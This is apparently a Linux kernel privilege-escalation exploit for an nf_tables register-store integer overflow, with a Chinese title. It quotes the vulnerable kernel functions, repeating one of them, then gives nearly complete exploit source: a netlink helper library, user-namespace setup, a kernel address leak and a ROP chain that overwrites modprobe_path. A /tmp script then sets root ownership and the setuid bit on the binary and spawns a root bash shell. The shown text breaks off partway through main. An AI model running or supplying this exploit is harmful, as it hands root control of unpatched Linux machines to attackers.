LINUX 内核 NFT_VALIDATE_REGISTER_STORE 整数溢出权限提升

unsigned int nft_parse_register(const struct nlattr *attr){    unsigned int reg;    reg = ntohl(nla_get_be32(attr));    switch (reg) {    case NFT_REG_VERDICT...NFT_REG_4:        return reg * NFT_REG_SIZE / NFT_REG32_SIZE;    default:        return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // 1    }}EXPORT_SYMBOL_GPL(nft_parse_register);

int nft_parse_register_store(const struct nft_ctx *ctx,                 const struct nlattr *attr, u8 *dreg,                 const struct nft_data *data,                 enum nft_data_types type, unsigned int len){    int err;    u32 reg;    reg = nft_parse_register(attr); // 2    err = nft_validate_register_store(ctx, reg, data, type, len); // 3    if (err < 0)        return err;    *dreg = reg;    return 0;}EXPORT_SYMBOL_GPL(nft_parse_register_store);

static int nft_validate_register_store(const struct nft_ctx *ctx,                       enum nft_registers reg,                       const struct nft_data *data,                       enum nft_data_types type,                       unsigned int len){    int err;    switch (reg) {    case NFT_REG_VERDICT: // 4        if (type != NFT_DATA_VERDICT)            return -EINVAL;        if (data != NULL &&            (data->verdict.code == NFT_GOTO ||             data->verdict.code == NFT_JUMP)) {            err = nf_tables_check_loops(ctx, data->verdict.chain);            if (err < 0)                return err;        }        return 0;    default:        if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)             return -EINVAL;        if (len == 0)            return -EINVAL;        if (reg * NFT_REG32_SIZE + len > // 5            sizeof_field(struct nft_regs, data))            return -ERANGE;        if (data != NULL && type != NFT_DATA_VALUE)            return -EINVAL;        return 0;    }}

static int nft_payload_init(const struct nft_ctx *ctx,                const struct nft_expr *expr,                const struct nlattr * const tb[]){    struct nft_payload *priv = nft_expr_priv(expr);    priv->base   = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_BASE]));    priv->offset = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_OFFSET]));    priv->len    = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_LEN]));    return nft_parse_register_store(ctx, tb[NFTA_PAYLOAD_DREG], // 6                    &priv->dreg, NULL, NFT_DATA_VALUE,                    priv->len);}

void nft_payload_eval(const struct nft_expr *expr,              struct nft_regs *regs,              const struct nft_pktinfo *pkt){    const struct nft_payload *priv = nft_expr_priv(expr);    const struct sk_buff *skb = pkt->skb;    u32 *dest = &regs->data[priv->dreg];    int offset;    if (priv->len % NFT_REG32_SIZE)        dest[priv->len / NFT_REG32_SIZE] = 0;    switch (priv->base) {    case NFT_PAYLOAD_LL_HEADER:        if (!skb_mac_header_was_set(skb))            goto err;        if (skb_vlan_tag_present(skb)) {            if (!nft_payload_copy_vlan(dest, skb,                           priv->offset, priv->len))                goto err;            return;        }        offset = skb_mac_header(skb) - skb->data;        break;    case NFT_PAYLOAD_NETWORK_HEADER:        offset = skb_network_offset(skb);        break;    case NFT_PAYLOAD_TRANSPORT_HEADER:        if (!pkt->tprot_set)            goto err;        offset = pkt->xt.thoff;        break;    default:        BUG();    }    offset += priv->offset;    if (skb_copy_bits(skb, offset, dest, priv->len) < 0) // 7        goto err;    return;err:    regs->verdict.code = NFT_BREAK;}

void nft_payload_eval(const struct nft_expr *expr,              struct nft_regs *regs,              const struct nft_pktinfo *pkt){    const struct nft_payload *priv = nft_expr_priv(expr);    const struct sk_buff *skb = pkt->skb;    u32 *dest = &regs->data[priv->dreg];    int offset;    if (priv->len % NFT_REG32_SIZE)        dest[priv->len / NFT_REG32_SIZE] = 0;    switch (priv->base) {    case NFT_PAYLOAD_LL_HEADER:        if (!skb_mac_header_was_set(skb))            goto err;        if (skb_vlan_tag_present(skb)) {            if (!nft_payload_copy_vlan(dest, skb,                           priv->offset, priv->len))                goto err;            return;        }        offset = skb_mac_header(skb) - skb->data;        break;    case NFT_PAYLOAD_NETWORK_HEADER:        offset = skb_network_offset(skb);        break;    case NFT_PAYLOAD_TRANSPORT_HEADER:        if (!pkt->tprot_set)            goto err;        offset = pkt->xt.thoff;        break;    default:        BUG();    }    offset += priv->offset;    if (skb_copy_bits(skb, offset, dest, priv->len) < 0) // 7        goto err;    return;err:    regs->verdict.code = NFT_BREAK;}

// nftpwn.c#include "nftpwn.h"#include <time.h>#include <stdlib.h>#include <libnftnl/table.h>#include <libnftnl/chain.h>#include <libnftnl/flowtable.h>nftpwn_conn * nftpwn_new_conn(bool is_batch, mnl_cb_t cb) {  nftpwn_conn * conn;  uint32_t seq;  conn = (nftpwn_conn * ) calloc(1, sizeof(nftpwn_conn));  if (conn == NULL) {    return NULL;  }  conn -> buf = (char * ) calloc(MNL_SOCKET_BUFFER_SIZE, sizeof(char));  if (conn -> buf == NULL) {    goto err;  }  conn -> seq = time(NULL);  conn -> is_batch = is_batch;  if (is_batch) {    conn -> batch = mnl_nlmsg_batch_start(conn -> buf, MNL_SOCKET_BUFFER_SIZE * sizeof(char));    nftnl_batch_begin(mnl_nlmsg_batch_current(conn -> batch), conn -> seq++);    mnl_nlmsg_batch_next(conn -> batch);  } else {    conn -> cb = cb;    conn -> nlh = NULL;  }  return conn;  err:    free(conn);  return NULL;}void nftpwn_delete_conn(nftpwn_conn * conn) {  if (conn == NULL) {    return;  }  free(conn -> buf);  free(conn);}void nftpwn_send(nftpwn_conn * conn, uint32_t * seq_ptr) {  int32_t ret;  uint32_t portid, seq;  struct mnl_socket * nl;  if (conn == NULL) {    return;  }  seq = 0;  if (seq_ptr != NULL) {    seq = * seq_ptr;  }  if (conn -> is_batch) {    mnl_nlmsg_batch_next(conn -> batch);    nftnl_batch_end(mnl_nlmsg_batch_current(conn -> batch), conn -> seq++);    mnl_nlmsg_batch_next(conn -> batch);  }  nl = mnl_socket_open(NETLINK_NETFILTER);  if (nl == NULL) {    perror("mnl_socket_open");    exit(EXIT_FAILURE);  }  if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {    perror("mnl_socket_bind");    exit(EXIT_FAILURE);  }  portid = mnl_socket_get_portid(nl);  if (conn -> is_batch) {    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(conn -> batch), mnl_nlmsg_batch_size(conn -> batch)) < 0) {      perror("mnl_socket_send");      exit(EXIT_FAILURE);    }    mnl_nlmsg_batch_stop(conn -> batch);  } else {    if (mnl_socket_sendto(nl, conn -> nlh, conn -> nlh -> nlmsg_len) < 0) {      perror("mnl_socket_send");      exit(EXIT_FAILURE);    }  }  ret = mnl_socket_recvfrom(nl, conn -> buf, MNL_SOCKET_BUFFER_SIZE * sizeof(char));  while (ret > 0) {    ret = mnl_cb_run(conn -> buf, ret, seq, portid, conn -> cb, NULL);    if (ret <= 0) {      break;    }    ret = mnl_socket_recvfrom(nl, conn -> buf, MNL_SOCKET_BUFFER_SIZE * sizeof(char));  }  if (ret == -1) {    perror("error");    exit(EXIT_FAILURE);  }  mnl_socket_close(nl);  if (conn -> is_batch) {    nftpwn_delete_conn(conn);  }}void nftpwn_add_table(uint32_t family, char * table_name, uint8_t * user_data, uint32_t user_data_len) {  nftpwn_conn * conn;  uint32_t table_seq;  struct nlmsghdr * nlh;  struct nftnl_table * table;  conn = nftpwn_new_conn(true, NULL);  if (conn == NULL) {    return;  }  table = nftnl_table_alloc();  nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, family);  nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);  if (user_data != NULL) {    nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, user_data, user_data_len);  }  table_seq = conn -> seq;  nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(conn -> batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE | NLM_F_ACK, conn -> seq++);  nftnl_table_nlmsg_build_payload(nlh, table);  nftnl_table_free(table);  nftpwn_send(conn, & table_seq);}void nftpwn_del_table(uint32_t family, char * table_name) {  nftpwn_conn * conn;  uint32_t table_seq;  struct nlmsghdr * nlh;  struct nftnl_table * table;  conn = nftpwn_new_conn(true, NULL);  if (conn == NULL) {    return;  }  table = nftnl_table_alloc();  nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, family);  nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);  table_seq = conn -> seq;  nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(conn -> batch), NFT_MSG_DELTABLE, family, NLM_F_ACK, conn -> seq++);  nftnl_table_nlmsg_build_payload(nlh, table);  nftnl_table_free(table);  nftpwn_send(conn, & table_seq);}void nftpwn_add_flowtable(uint32_t family, char * table_name, char * name, uint32_t hooknum, uint32_t priority) {  nftpwn_conn * conn;  uint32_t flowtable_seq;  struct nlmsghdr * nlh;  struct nftnl_flowtable * table;  conn = nftpwn_new_conn(true, NULL);  if (conn == NULL) {    return;  }  table = nftnl_flowtable_alloc();  nftnl_flowtable_set_u32(table, NFTNL_FLOWTABLE_FAMILY, family);  nftnl_flowtable_set_str(table, NFTNL_FLOWTABLE_TABLE, table_name);  nftnl_flowtable_set_str(table, NFTNL_FLOWTABLE_NAME, name);  nftnl_flowtable_set_u32(table, NFTNL_FLOWTABLE_HOOKNUM, hooknum);  nftnl_flowtable_set_u32(table, NFTNL_FLOWTABLE_PRIO, priority);  flowtable_seq = conn -> seq;  nlh = nftnl_flowtable_nlmsg_build_hdr(mnl_nlmsg_batch_current(conn -> batch), NFT_MSG_NEWFLOWTABLE, family, NLM_F_CREATE | NLM_F_ACK, conn -> seq++);  nftnl_flowtable_nlmsg_build_payload(nlh, table);  nftnl_flowtable_free(table);  nftpwn_send(conn, & flowtable_seq);}void nftpwn_del_flowtable(uint32_t family, char * table_name, char * name) {  nftpwn_conn * conn;  uint32_t flowtable_seq;  struct nlmsghdr * nlh;  struct nftnl_flowtable * table;  conn = nftpwn_new_conn(true, NULL);  if (conn == NULL) {    return;  }  table = nftnl_flowtable_alloc();  nftnl_flowtable_set_str(table, NFTNL_FLOWTABLE_TABLE, table_name);  nftnl_flowtable_set_str(table, NFTNL_FLOWTABLE_NAME, name);  flowtable_seq = conn -> seq;  nlh = nftnl_flowtable_nlmsg_build_hdr(mnl_nlmsg_batch_current(conn -> batch), NFT_MSG_DELFLOWTABLE, family, NLM_F_ACK, conn -> seq++);  nftnl_flowtable_nlmsg_build_payload(nlh, table);  nftnl_flowtable_free(table);  nftpwn_send(conn, & flowtable_seq);}void nftpwn_add_chain(uint32_t family, char * table_name, char * chain_name, nftpwn_base_chain_param * base_param) {  nftpwn_conn * conn;  uint32_t chain_seq;  struct nlmsghdr * nlh;  struct nftnl_chain * chain;  conn = nftpwn_new_conn(true, NULL);  if (conn == NULL) {    return;  }  chain = nftnl_chain_alloc();  nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table_name);  nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);  if (base_param) {    nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, base_param -> hooknum);    nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, base_param -> prio);  }  chain_seq = conn -> seq;  nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(conn -> batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE | NLM_F_ACK, conn -> seq++);  nftnl_chain_nlmsg_build_payload(nlh, chain);  nftnl_chain_free(chain);  nftpwn_send(conn, & chain_seq);}void nftpwn_del_chain(uint32_t family, char * table_name, char * chain_name) {  nftpwn_conn * conn;  uint32_t chain_seq;  struct nlmsghdr * nlh;  struct nftnl_chain * chain;  conn = nftpwn_new_conn(true, NULL);  if (conn == NULL) {    return;  }  chain = nftnl_chain_alloc();  nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table_name);  nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);  chain_seq = conn -> seq;  nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(conn -> batch), NFT_MSG_DELCHAIN, family, NLM_F_ACK, conn -> seq++);  nftnl_chain_nlmsg_build_payload(nlh, chain);  nftnl_chain_free(chain);  nftpwn_send(conn, & chain_seq);}void nftpwn_add_rule(uint32_t family, char * table_name, char * chain_name, struct nftnl_rule * rule) {  nftpwn_conn * conn;  struct nlmsghdr * nlh;  conn = nftpwn_new_conn(true, NULL);  if (conn == NULL) {    return;  }  nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);  nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);  nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);  nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(conn -> batch), NFT_MSG_NEWRULE, family, NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, conn -> seq++);  nftnl_rule_nlmsg_build_payload(nlh, rule);  nftnl_rule_free(rule);  nftpwn_send(conn, NULL);}void nftpwn_get_rules(uint32_t family, char * table_name, char * chain_name, mnl_cb_t cb) {  nftpwn_conn * conn;  struct nftnl_rule * rule;  conn = nftpwn_new_conn(false, cb);  if (conn == NULL) {    return;  }  rule = nftnl_rule_alloc();  nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);  nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);  nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);  conn -> nlh = nftnl_rule_nlmsg_build_hdr(conn -> buf, NFT_MSG_GETRULE, family, NLM_F_DUMP, conn -> seq);  nftnl_rule_nlmsg_build_payload(conn -> nlh, rule);  nftpwn_send(conn, NULL);  nftpwn_delete_conn(conn);}void nftpwn_del_rule(uint32_t family, char * table_name, char * chain_name, uint64_t handle) {  nftpwn_conn * conn;  struct nlmsghdr * nlh;  struct nftnl_rule * rule;  conn = nftpwn_new_conn(true, NULL);  if (conn == NULL) {    return;  }  rule = nftnl_rule_alloc();  nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);  nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);  nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);  nftnl_rule_set_u64(rule, NFTNL_RULE_HANDLE, handle);  nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(conn -> batch), NFT_MSG_DELRULE, family, NLM_F_ACK, conn -> seq++);  nftnl_rule_nlmsg_build_payload(nlh, rule);  nftnl_rule_free(rule);  nftpwn_send(conn, NULL);}void nftpwn_del_rules(uint32_t family, char * table_name, char * chain_name) {  nftpwn_conn * conn;  struct nlmsghdr * nlh;  struct nftnl_rule * rule;  conn = nftpwn_new_conn(true, NULL);  if (conn == NULL) {    return;  }  rule = nftnl_rule_alloc();  nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);  nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);  nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);  nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(conn -> batch), NFT_MSG_DELRULE, family, NLM_F_ACK, conn -> seq++);  nftnl_rule_nlmsg_build_payload(nlh, rule);  nftnl_rule_free(rule);  nftpwn_send(conn, NULL);}void nftpwn_rule_add_payload(struct nftnl_rule * rule, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("payload");  nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_BASE, base);  nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_OFFSET, offset);  nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_LEN, len);  nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_DREG, dreg);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_payload_set(struct nftnl_rule * rule, uint32_t base, uint32_t offset, uint32_t len, uint32_t sreg) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("payload");  nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_BASE, base);  nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_OFFSET, offset);  nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_LEN, len);  nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_SREG, sreg);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_bitwise_fast(struct nftnl_rule * rule, uint32_t sreg, uint32_t dreg, uint32_t mask, uint32_t xor) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("bitwise");  nftnl_expr_set_u32(expr, NFTA_BITWISE_LEN, sizeof(uint32_t));  nftnl_expr_set_u32(expr, NFTA_BITWISE_SREG, sreg);  nftnl_expr_set_u32(expr, NFTA_BITWISE_DREG, dreg);  nftnl_expr_set_u32(expr, NFTA_BITWISE_MASK, mask);  nftnl_expr_set_u32(expr, NFTA_BITWISE_XOR, xor);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_byteorder(struct nftnl_rule * rule, uint32_t op, uint32_t sreg, uint32_t dreg, uint32_t len, uint32_t size) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("byteorder");  nftnl_expr_set_u32(expr, NFTA_BYTEORDER_OP, op);  nftnl_expr_set_u32(expr, NFTA_BYTEORDER_SREG, sreg);  nftnl_expr_set_u32(expr, NFTA_BYTEORDER_DREG, dreg);  nftnl_expr_set_u32(expr, NFTA_BYTEORDER_LEN, len);  nftnl_expr_set_u32(expr, NFTA_BYTEORDER_SIZE, size);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_cmp(struct nftnl_rule * rule, uint32_t op, uint32_t sreg, void * data, size_t data_len) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("cmp");  nftnl_expr_set_u32(expr, NFTA_CMP_OP, op);  nftnl_expr_set_u32(expr, NFTA_CMP_SREG, sreg);  nftnl_expr_set_data(expr, NFTA_CMP_DATA, data, data_len);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_immediate_verdict(struct nftnl_rule * rule, uint32_t verdict, char * chain_name) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("immediate");  nftnl_expr_set_u32(expr, NFTA_IMMEDIATE_DREG, 0);  nftnl_expr_set_u32(expr, NFTNL_EXPR_IMM_VERDICT, verdict);  if (verdict == NFT_GOTO || verdict == NFT_JUMP) {    nftnl_expr_set_str(expr, NFTNL_EXPR_IMM_CHAIN, chain_name);  }  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_meta_get(struct nftnl_rule * rule, uint32_t key, uint32_t dreg) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("meta");  nftnl_expr_set_u32(expr, NFTNL_EXPR_META_DREG, dreg);  nftnl_expr_set_u32(expr, NFTNL_EXPR_META_KEY, key);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_meta_set(struct nftnl_rule * rule, uint32_t key, uint32_t sreg) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("meta");  nftnl_expr_set_u32(expr, NFTNL_EXPR_META_SREG, sreg);  nftnl_expr_set_u32(expr, NFTNL_EXPR_META_KEY, key);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_dynset(struct nftnl_rule * rule, char * set_name, uint32_t op, uint32_t sreg) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("dynset");  nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name);  nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, op);  nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, sreg);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_connlimit(struct nftnl_rule * rule, uint32_t count) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("connlimit");  nftnl_expr_set_u32(expr, NFTNL_EXPR_CONNLIMIT_COUNT, count);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_flow_offload(struct nftnl_rule * rule, char * name) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("flow_offload");  nftnl_expr_set_str(expr, NFTNL_EXPR_FLOW_TABLE_NAME, name);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_notrack(struct nftnl_rule * rule) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("notrack");  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_objref_map(struct nftnl_rule * rule, char * name, uint32_t id, uint32_t sreg) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("objref");  nftnl_expr_set_str(expr, NFTNL_EXPR_OBJREF_SET_NAME, name);  nftnl_expr_set_u32(expr, NFTNL_EXPR_OBJREF_SET_ID, id);  nftnl_expr_set_u32(expr, NFTNL_EXPR_OBJREF_SET_SREG, sreg);  nftnl_rule_add_expr(rule, expr);}void nftpwn_rule_add_lookup(struct nftnl_rule * rule, char * name, uint32_t id, uint32_t sreg, uint32_t dreg, uint32_t flags) {  struct nftnl_expr * expr;  expr = nftnl_expr_alloc("lookup");  nftnl_expr_set_str(expr, NFTNL_EXPR_LOOKUP_SET, name);  nftnl_expr_set_u32(expr, NFTNL_EXPR_LOOKUP_SET_ID, id);  nftnl_expr_set_u32(expr, NFTNL_EXPR_LOOKUP_SREG, sreg);  nftnl_expr_set_u32(expr, NFTNL_EXPR_LOOKUP_DREG, dreg);  nftnl_expr_set_u32(expr, NFTNL_EXPR_LOOKUP_FLAGS, flags);  nftnl_rule_add_expr(rule, expr);}

// nftpwn.h#ifndef __NFTPWN_H__#define __NFTPWN_H__#include <stdint.h>#include <linux/netfilter.h>#include <linux/netfilter/nf_tables.h>#include <libnftnl/rule.h>#include <libnftnl/expr.h>#include <libmnl/libmnl.h>typedef struct {  char * buf;  uint32_t seq;  struct mnl_nlmsg_batch * batch;  struct nlmsghdr * nlh;  bool is_batch;  mnl_cb_t cb;}nftpwn_conn;typedef struct {  uint32_t hooknum;  uint32_t prio;}nftpwn_base_chain_param;nftpwn_conn * nftpwn_new_conn(bool is_batch, mnl_cb_t cb);void nftpwn_delete_conn(nftpwn_conn * conn);void nftpwn_send(nftpwn_conn * conn, uint32_t * seq_ptr);void nftpwn_add_table(uint32_t family, char * table_name, uint8_t * user_data, uint32_t user_data_len);void nftpwn_del_table(uint32_t family, char * table_name);void nftpwn_add_flowtable(uint32_t family, char * table_name, char * name, uint32_t hooknum, uint32_t priority);void nftpwn_del_flowtable(uint32_t family, char * table_name, char * name);void nftpwn_add_chain(uint32_t family, char * table_name, char * chain_name, nftpwn_base_chain_param * base_param);void nftpwn_del_chain(uint32_t family, char * table_name, char * chain_name);void nftpwn_add_rule(uint32_t family, char * table_name, char * chain_name, struct nftnl_rule * rule);void nftpwn_get_rules(uint32_t family, char * table_name, char * chain_name, mnl_cb_t cb);void nftpwn_del_rule(uint32_t family, char * table_name, char * chain_name, uint64_t handle);void nftpwn_del_rules(uint32_t family, char * table_name, char * chain_name);void nftpwn_rule_add_payload(struct nftnl_rule * rule, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg);void nftpwn_rule_add_payload_set(struct nftnl_rule * rule, uint32_t base, uint32_t offset, uint32_t len, uint32_t sreg);void nftpwn_rule_add_bitwise_fast(struct nftnl_rule * rule, uint32_t sreg, uint32_t dreg, uint32_t mask, uint32_t xor);void nftpwn_rule_add_byteorder(struct nftnl_rule * rule, uint32_t op, uint32_t sreg, uint32_t dreg, uint32_t len, uint32_t size);void nftpwn_rule_add_cmp(struct nftnl_rule * rule, uint32_t op, uint32_t sreg, void * data, size_t data_len);void nftpwn_rule_add_immediate_verdict(struct nftnl_rule * rule, uint32_t verdict, char * chain_name);void nftpwn_rule_add_meta_get(struct nftnl_rule * rule, uint32_t key, uint32_t dreg);void nftpwn_rule_add_meta_set(struct nftnl_rule * rule, uint32_t key, uint32_t sreg);void nftpwn_rule_add_dynset(struct nftnl_rule * rule, char * set_name, uint32_t op, uint32_t sreg);void nftpwn_rule_add_connlimit(struct nftnl_rule * rule, uint32_t count);void nftpwn_rule_add_flow_offload(struct nftnl_rule * rule, char * name);void nftpwn_rule_add_notrack(struct nftnl_rule * rule);void nftpwn_rule_add_objref_map(struct nftnl_rule * rule, char * name, uint32_t id, uint32_t sreg);void nftpwn_rule_add_lookup(struct nftnl_rule * rule, char * name, uint32_t id, uint32_t sreg, uint32_t dreg, uint32_t flags);#endif // __NFTPWN_H__

// utils.c#ifndef __UTILS_H__#define __UTILS_H__#include <stdio.h>#include <fcntl.h>#include <stdlib.h>#define SERVER_PORT 6666void hexdump(void * buf, int len) {  unsigned char * p = (unsigned char * ) buf;  for (int i = 0; i < len; i++) {    printf("%02x ", p[i]);    if ((i + 1) % 8 == 0) {      printf("n");    }  }  printf("nn");}int setup_sandbox() {  int ret = -1;  int uid_fd = -1, gid_fd = -1, groups_fd = -1;  if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {    goto end;  }  if ((uid_fd = open("/proc/self/uid_map", O_RDWR)) < 0) {    goto end;  }  if (write(uid_fd, "0 1000 1", 8) < 0) {    goto end;  }  if ((groups_fd = open("/proc/self/setgroups", O_RDWR)) < 0) {    goto end;  }  if (write(groups_fd, "deny", 4) < 0) {    goto end;  }  if ((gid_fd = open("/proc/self/gid_map", O_RDWR)) < 0) {    goto end;  }  if (write(gid_fd, "0 1000 1", 8) < 0) {    goto end;  }  ret = 0;  end:    if (gid_fd > 0) {      close(gid_fd);    }  if (groups_fd > 0) {    close(groups_fd);  }  if (uid_fd > 0) {    close(uid_fd);  }  return ret;}void tcp_send(char * buf, size_t len) {  int s;  struct sockaddr_in sin = {};  sin.sin_family = AF_INET;  sin.sin_addr.s_addr = inet_addr("127.0.0.1");  sin.sin_port = htons(SERVER_PORT);  s = socket(AF_INET, SOCK_STREAM, 0);  if (s < 0) {    perror("socket");    exit(EXIT_FAILURE);  }  if (connect(s, (struct sockaddr * ) & sin, sizeof(sin)) < 0) {    perror("connect");    exit(EXIT_FAILURE);  }  if (send(s, buf, len, 0) < 0) {    perror("send");    exit(EXIT_FAILURE);  }  close(s);}void tcp_server(void * handler) {  int opt = 1, c, s;  struct sockaddr_in sin = {};  socklen_t sin_sz = sizeof(sin);  sin.sin_family = AF_INET;  sin.sin_addr.s_addr = inet_addr("127.0.0.1");  sin.sin_port = htons(SERVER_PORT);  s = socket(AF_INET, SOCK_STREAM, 0);  if (s < 0) {    perror("socket");    exit(EXIT_FAILURE);  }  if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, & opt, sizeof(opt))) {    perror("setsockopt");    exit(EXIT_FAILURE);  }  if (bind(s, (struct sockaddr * ) & sin, sizeof(sin)) < 0) {    perror("bind");    exit(EXIT_FAILURE);  }  if (listen(s, 0) < 0) {    perror("listen");    exit(EXIT_FAILURE);  }  while (true) {    c = accept(s, (struct sockaddr * ) & sin, (socklen_t * ) & sin_sz);    if (c > 0) {      ((void( * )(int)) handler)(c);    }  }  close(s);}#endif // __UTILS_H__

// exploit.c#define _GNU_SOURCE#include <stdio.h>#include <string.h>#include <pthread.h>#include <sys/stat.h>#include <arpa/inet.h>#include "nftpwn.h"#include "utils.h"#define TCP_WRITE_XMIT_OFF 0x7CA896uint64_t kernel_base;void tcp_handler(int s) {  int len;  char buf[0x100];  while (true) {    len = recv(s, buf, sizeof(buf), 0);    if (len == sizeof(buf) && kernel_base == 0) {      memcpy( & kernel_base, buf, sizeof(kernel_base));      kernel_base -= TCP_WRITE_XMIT_OFF;      break;    }  }}void rop(uint64_t * rop_buf) {  int rop_len = 0;  rop_buf[rop_len++] = kernel_base + 0x083820; // pop rdi; ret;   rop_buf[rop_len++] = kernel_base + 0x1654D81; // &modprobe_path  rop_buf[rop_len++] = kernel_base + 0x08378f; // pop rbp; ret;   rop_buf[rop_len++] = 0x2f706d74;  rop_buf[rop_len++] = kernel_base + 0x56dcb3; // mov dword ptr [rdi], ebp; clc; jmp qword ptr [rsi + 0xf]; }void eop() {  FILE * modprobe_fp, * script_fp, * trigger_fp;  char modprobe_path[0x100], exe_path[0x400] = {};  char * argv[3] = {};  // loop until modprobe_path overwritten  while (true) {    modprobe_fp = fopen("/proc/sys/kernel/modprobe", "r");    if (modprobe_fp == NULL) {      exit(EXIT_FAILURE);    }    if (fgets(modprobe_path, sizeof(modprobe_path), modprobe_fp) == NULL) {      exit(EXIT_FAILURE);    }    fclose(modprobe_fp);    if (strcmp(modprobe_path, "/sbin/modproben")) {      break;    }    sleep(1);  }  // create script to be executed by root  if (readlink("/proc/self/exe", exe_path, sizeof(exe_path)) < 0) {    exit(EXIT_FAILURE);  }  script_fp = fopen("/tmp/modprobe", "w+");  if (script_fp == NULL) {    exit(EXIT_FAILURE);  }  fprintf(script_fp, "#!/bin/shn");  fprintf(script_fp, "chown root:root "%s"n", exe_path);  fprintf(script_fp, "chmod u+s "%s"n", exe_path);  fclose(script_fp);  chmod("/tmp/modprobe", 0755);  // create trigger script  trigger_fp = fopen("/tmp/DxNtuO", "w+");  if (trigger_fp == NULL) {    exit(EXIT_FAILURE);  }  fwrite("xffxffxffxff", sizeof(char), 4, trigger_fp);  fclose(trigger_fp);  chmod("/tmp/DxNtuO", 0755);  // elevate privileges  argv[0] = "/tmp/DxNtuO";  execv(argv[0], argv);  printf("[*] Cleaning up...n");  unlink("/tmp/modprobe");  unlink("/tmp/DxNtuO");  printf("[*] Getting root shell...n");  argv[0] = exe_path;  argv[1] = "DxNtuO";  execv(argv[0], argv);  exit(EXIT_SUCCESS);}void shell() {  setresuid(0, 0, 0);  system("bash");  exit(EXIT_SUCCESS);}int main(int argc, char * argv[]) {  int s;  char buf[0x100];  pthread_t thread_id;  struct nftnl_rule * rule;  struct nftnl_expr * expr;  uint32_t pktlen = 0x134;  nftpwn_base_chain_param base_param = {    .hooknum = NF_INET_LOCAL_OUT,    